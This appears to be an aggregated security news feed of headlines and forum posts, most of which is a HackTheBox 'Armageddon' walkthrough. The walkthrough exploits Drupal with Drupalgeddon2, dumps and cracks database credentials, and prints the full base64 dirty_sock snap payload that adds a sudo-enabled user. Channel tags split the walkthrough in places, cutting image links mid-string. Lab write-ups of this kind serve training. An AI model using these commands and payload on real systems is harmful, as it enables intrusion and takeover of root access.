Dark Reading: Attacks/Breaches
Why Choke-Point Analysis Is Essential in Active Directory Security

Defense should focus on high-value choke points first to ensure that their most critical assets are protected, before moving on to deal with other attack paths.

Dark Reading: Attacks/Breaches
Palo Alto Networks to Transfer Stock Exchange Listing to Nasdaq

Palo Alto Networks anticipates meeting the requirements for inclusion in the NASDAQ-100 index when it rebalances in December.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
New guy

Hello, I have been playing around with Kali Linux and learning terminal commands and beginner stuff. (Coming from Windows OS, very limited previous experience with Ubuntu)

I've learned how to go into monitor mode and send deauth packets and capture handshakes and whatnot in an attempt to crack a wifi password and the typical new guy stuff (I assume typical new guy stuff).

Anyways, I'm curious.. whats next? a) what kind of exploits / further attacks come after you crack a wifi password? Is the end goal of this attack to just use free wifi or to further penetrate a network? and b) what's next as far as progression.. what should I be playing with / focusing on next?

submitted by /u/ILLGotti
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Guest WiFi

I'm not sure where to ask these questions, so if there is another sub better suited, please let me know.

1- Is it okay to connect Smart TV and other appliances on your WiFi? Does it make a difference if I use the Guest option? What's a safe but convenient way to do this?

2- Is it okay to provide WiFi password to trades (plumber for installation of a water leak detection system)?

I know the best way to do the latter is to just get the instructions and do it myself, or change the password later and I might do that. However, the password is already very long and randomly generated, so there is no way he would remember it. And I'm not trying to safeguard nuclear codes. Just trying to find a nice balance between convenience and security paranoia.

Thank you for any guidance.

submitted by /u/non-nominato
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
State database without dependencies

submitted by /u/roramigator
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

500$ Bug: Sensitive Data Exposure to Broken Access Control leads, How I able to take over any…

Continue reading on Medium »
Read more...

Hacking on Medium
500$ Bug: Sensitive Data Exposure to Broken Access Control leads, How I able to take over any…

https://cdn-images-1.medium.com/max/1029/1*vSDuFKiYE1ShQenVnLQTRQ.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Azure Privilege Escalation via Service Principal Abuse

https://cdn-images-1.medium.com/max/1338/0*DrIOiVpzwUOvQSQq
Intro and Prior Work

Continue reading on Posts By SpecterOps Team Members »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Burp Suite Set Up

https://cdn-images-1.medium.com/max/1536/1*ch4xtvSoBtdrvQFA1II_7Q.png
It is a proxy tool which can intercept requests and is often used for evaluating security of web-based applications and doing hands-on…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HOW TO CREATE STEGANOGRAPHY CHALLENGES #13

https://cdn-images-1.medium.com/max/1251/0*jrw3mp1gArBeCgcm.png
beginner Friendly

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What happened in the Twitch Breach…

https://cdn-images-1.medium.com/max/2600/0*Ce95lr74gI4ISYVI
And four principles for securing your organization’s information including your source code and supply chain

Continue reading on ShiftLeft Blog »

___________________________
@hacking_Attack
@Hacking_Video

Defining Cobalt Strike Components So You Can BEA-CONfident in Your Analysis
https://www.reddit.com/r/redteamsec/comments/q6ria4/defining_cobalt_strike_components_so_you_can/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.mandiant.com/resources/defining-cobalt-strike-components) [comments] (https://www.reddit.com/r/redteamsec/comments/q6ria4/defining_cobalt_strike_components_so_you_can/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Armageddon HackTheBox Walkthrough

We’ll look at another one of HackTheBox machines today, called “Armageddon.” It is an easy box targeting commonly found threat of using outdated plugins. In this box, old and vulnerable version of Drupal is showcased. We’d own the root user by targeting it. Here is the methodology. Penetration Testing Methodology· NmapVulnerability Analysis and Exploitation· Drupalgeddon2 RCE exploit to gain user shellPrivilege Escalation· Searching for mysql database credentials in default filesReconMachine’s IP was 10.129.48.89. The first step was to run nmap’s aggressive scan to look for open ports. As you can see a port 80 was found to be open.nmap -A  10.129.48.89https://blogger.googleusercontent.com/img/a/AVvXsEiIseJMMBSWNZIY_v8137CAhYplR3SCz5373lhxqSgZbTkFUrH_vTmX4-GRyivcJR2bU88jqe9wOEQS9qoRS9HvnABh17fCRNwHQM6voofL9NmLWOujHPOidqYq-bfyYgLE1cseZYn8kJzVtxM8RECvzA_zg7RwluCgn05YLuW1X9QSAOSccZAzeGC0FQ=s16000 On traversing the website on port 80, it seemed a CMS made website.Vulnerability Analysis and ExploitationWe knew that Drupal 7.X before 7.58 was vulnerable to various CVEs including CVE-2018-7600. Drupalgeddon2 exploit is developed to exploit Drupal’s form API and exploits insufficient input validation. You can refer the original repo here.Privilege EscalationGladly Metasploit had this exploit in the framework, so we just used that and spawned an interactive shell. On checking the current directory we saw the site installation files with necessary permissions to let us view the content.use exploit/unix/webapp/drupal_drupalgeddon2A basic ls let us view contents.___________________________
@hacking_Attack
@Hacking_Video

7qaYIOPPa04kHlbGulwCPiNs4ShNxXR2XVcGg=s16000 As you can see on the official forums of Drupal, we found the location, which is /sites/default/settings.phphttps://blogger.googleusercontent.com/img/a/AVvXsEiJ-cfFE6LquSuNH7EuuqGxgaoa0wWaZNLlQk8FAMtFNAnsc6w0_WCcKpgISikydcaFJskdycol8-ir05S4WDlCCSot47XBzzRm6y5INy4NG9RN6WsV94kOsesSq3E8mfUUNh-52HdjHRyUWxPHr0OazkEvP3kjOl6KmrpzQSQDnFzN7qQA1Z8ak6F4Tw=s16000 So, we traversed to the directory and read settings.phpfilecd siteshttps://blogger.googleusercontent.com/img/a/AVvXsEit3RCCI0S2Wn61zSi1PNCdwsdP0nsB4qrvELH6pJfVpGOW5Up42Qkf69NBLj27GLxVCk1auMyAhJIQpuNedHzZvyZpOnrm3B7YP01k9CzsJH7nlTeze6SNvZ9zKPP3nMQnalsuiyyx0_7bnx_0a0ouRR4_J2BFcAzCbs44KW05nK3AgON5dUHyGyK_Sw=s16000 Scrolling a little further down we observed the credentials.shellFirst, we found the available tables in the current database.mysql -u 'drupaluser' -p'CQHEy@9M*m23gBVj' -D drupal -e 'show tables;'https://blogger.googleusercontent.com/img/a/AVvXsEiSkwd6AS_8tAG2j4k-f7yYfM6JdKygJLW5d0_Gg7FqHzXUvNs-_fWhUqtailSOt3xYzdtOVVIMVkear-jGPNY-B6jmNTxjThU4pjgA2j9sgEf9Y5zKwXw-z1-Kzg9dNyODUKuexv4yC4SvP_6gZHqt6ZoKI871crPtHKr5-j5dMItH3oJm70FvIQ63Ug=s16000 An important database ‘users’ was found. describe tablecommand to dump the schema of the table and finally, select command to dump username and password.mysql -u 'drupaluser' -p'CQHEy@9M*m23gBVj' -D drupal -e 'describe users;'https://blogger.googleusercontent.com/img/a/AVvXsEjmcn26mhQr05d3XJ5tFDAjA6040CZ4p3N_KP8EX3wHgEXB15JmZkAzUuPAUoSRehUb6yIApT1HAARWkJbdJj6y-GOGbLl2xujba5cjAjAdlgOOL-8LaADdVPcTFmCg1FU9rwEhGKdcPXD7_JcI6SO0hIwmzGQ-KBuP8sAE53jUj5GmHPa6bNe1EBlUvw=s16000 After obtaining the username (brucetherealadmin) and a password hash, we copied the hash in a text file and cracked it using JohnTheRipper.nano hash (to copy the hash in the file)https://blogger.googleusercontent.com/img/a/AVvXsEguzzBo6vagUuRLojLvNACf8JxowhdpGOut_9PIzJGXgM1atdYDjj5ojsvNacnnmAqR749JskADK6Sm2zlbXAySqDWajqJo8qwA0Nu7mJOpuKzTEQHOlxdqyoa3_rwEmAUdSqKdp8nzCbnnmBsDsLqKcvb6U9SLY_hfWJQ7Cih_ZfMa_9Uf_XlkkMKvLw=s16000 After obtaining the clear text password, we SSHed into the server and snagged the user.txt flag.ssh brucetherealadmin@10.129.48.89Next, we checked sudoers file for usable entries and found snap binary in it.sudo -lhttps://blogger.googleusercontent.com/img/a/AVvXsEhzxrkVbZBSXv1dwnyeCxjM7GV1X8TfYJlXuG_dyYVs7dtHpQjS9lo8sjQ361nQw3DQ-gZ9NY-OcqNHZDwyGbWwcCei020LLQtpyWthO_xY84vJmDyo35dSEpShDnDBOwbImgCv6tR54YEJ77xC6DGaL2BVCAK4m5SGma0IUYdoFv0zKAsAyUxUibgAew=s16000 Snap is a Debian software packaging and deployment system used to install “snaps.” These snaps are other softwares. So, if we were to write our own script and deploy it using snap, we could escalate privileges. This is precisely what the exploit “dirty_sock” did.___________________________
@hacking_Attack
@Hacking_Video

t.com/img/a/AVvXsEg1FcseGye-aVCfkhh654CtM32g9pRs6UqDXGs92oycgs0x1rR47kcKkHxyN8wW6BSUCYCTa-CA696cUo0l-8MJblzqUhfNBbuI7llL1-QP_mxMNX-gzVtI3nHce1Y1xsyf_dK_jBU0wPZhgg3I_boSonQYl9DdpYsfcmR-Kw4meHhjkptjy4c_3BmrbA=s16000 This exploit tampers with the snapd API running in Debian to append a socket call that makes it believes that a root user is making requests. For more info, refer here.python -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4256 + "=="' | base64 -d > raj.snapAnd then we installed it usingsudo /usr/bin/snap install –devmode raj.snaphttps://blogger.googleusercontent.com/img/a/AVvXsEgepMu9oEnLogPRjKSOuNObT_pP3FxKc17T1wMmLBnGAcszzZok4MISUfq1b122O_sq1CiS84MnysGCYs2FMqgxlP0kraLsL3GdkWFf0R9XIKUYPJnF00l32ruIOgZKxS9lHMnTS9VrGiyM3FffUp18JlfDL4sC1msMUldaB1OvXnQs8vmZqCfA4DYNeQ=s16000 As you can see, the user dirty_sock has been added in the system. The exploit created a user “dirty_sock” with password “dirty_sock”tail /etc/passwdhttps://blogger.googleusercontent.com/img/a/AVvXsEgufgsMCplbiAdGTG0vIGqu_fGjCn79ljf0sEY_4TrbinEhdyrYiT3D203F-bXFj1Wl6I7da_bEEwdBjsR36mDxetQRG4NZiUc3q2Dn2HO9IG32zabfh8fP3Z4HWSZNGMFhvCPIxUNLbD5xZXA3Y9ySM315CQ7r2K8esasrcvyM3Z446frgQIcLF9fpZg=s16000 Now, we were able to SSH into this newly created account. But we simply changed the account usingsu dirty_sockThe password was the same as the username. Upon checking the sudoers file, we saw that any command could be run as root. This was the doing of that exploit.sudo -iAnd snagged the root flag.___________________________
@hacking_Attack
@Hacking_Video